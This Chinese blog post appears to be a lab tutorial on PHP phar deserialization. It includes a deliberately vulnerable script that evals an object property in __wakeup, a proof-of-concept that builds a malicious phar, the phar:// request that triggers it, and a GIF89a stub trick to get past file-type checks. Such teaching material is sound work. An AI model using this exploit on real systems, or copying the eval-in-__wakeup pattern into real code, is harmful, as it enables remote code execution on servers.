• 反序列化漏洞(4), phar文件反序列化, 漏洞实验, 漏洞利用


    一, 简介

    1. phar文件

    PHAR,全称PHP Archive,是一种将PHP代码和资源打包成一个自包含的文件的格式。这种文件格式可以将PHP代码文件和其他资源集合在一起,实现应用程序、库或插件的分发。在PHP中,Phar广泛应用于打包应用程序、库或插件,使得它们能在不同的环境中部署和共享变得轻松。

    2. phar文件格式

    PHAR文件是一种PHP应用程序的打包格式,它将多个文件和资源集合到一个文件中,以方便移动和安装。其文件结构主要由四部分组成:stub、manifest、文件内容和签名。

    Stub: 它是phar文件的开头部分,可以包含一些自定义的PHP代码。Stub的基本结构是"

    Manifest: 它包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。Manifest是攻击的主要部分,因为解析Phar时会对元数据进行反序列化操作。

    文件内容: 这一部分包含了实际的文件内容,比如脚本、图片等。

    签名: 用于验证Phar文件的完整性和真实性。

    3. phar漏洞

    PHAR反序列化漏洞是一种基于PHP的反序列化漏洞。在一般情况下,反序列化漏洞通常是由于将序列化后的字符串传入unserialize()函数中产生的。
    然而,PHP 5.3.3及更早版本的phar文件格式存在一个特性,即会以序列化的形式存储用户自定义的meta-data。

    当phar文件在文件系统函数(如file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,攻击者有可能不依赖unserialize()函数直接进行反序列化操作。这种特性扩展了php反序列化漏洞的攻击面,使得攻击难度相对较低。因此,对phar反序列化漏洞的理解和防范显得尤为重要。

    二, 漏洞实验

    1. 准备后端脚本

    漏洞脚本:

    class User {
        var $name;
        function __wakeup(){
            @eval($this->name);
        }
    }
    $filename = $_GET['filename'];
    file_exists($filename);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    2. 编写poc脚本生成phar文件:
    class User{
        var $name;
    
        // 通过构造方法修改属性值
        function __construct() {
            $this->name = 'phpinfo();';
        }
    }
    
    // 删除之前的phar
    @unlink("test.phar");   
    // 创建phar文件
    $phar = new Phar("test.phar");      
    $phar->startBuffering();
    $phar->setStub("");
    // 序列化对象到phar文件中
    $o = new User();
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "content");
    $phar->stopBuffering();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    执行poc后生成test.phar文件.

    3. 漏洞利用

    发送GET请求:

    ?filename=phar://test.phar/test.txt
    
    • 1

    后端的file_exists()函数会触发phar文件的反序列化操作, 自动执行__wakeup()方法.

    三, 绕过文件类型检测

    后端可能对伪协议加载的文件类型进行检测, 通过文件头信息检测文件的类型.
    php解析phar文件是通过文件头stub中的""代码, 在前后添加字符不影响解析.
    那么编写poc时可以在开头添加一段信息伪装成其他类型的文件, 比如GIF图片GIF89a:

    $phar->setStub("GIF89a");
    
    • 1

    然后将生成的phar文件修改后缀名为 test.gif, 再利用:

    ?filename=phar://test.gif/test.txt
    
    • 1
  • 相关阅读:
    电脑监控系统是如何支持远程监控的?
    数据结构:栈
    激光雷达物体检测(三):俯视图检测算法
    仿牛客论坛项目
    【编程题】【Scratch四级】2020.09 奇偶之和
    Docker运维,基础
    基于时间序列模型的非平衡数据的过采样算法
    9月编程排行榜新鲜出炉霸榜还得是它~
    JAVA - 项目启动后执行定时任务
    认识wireshark
  • 原文地址:https://blog.csdn.net/bua200720411091/article/details/134511222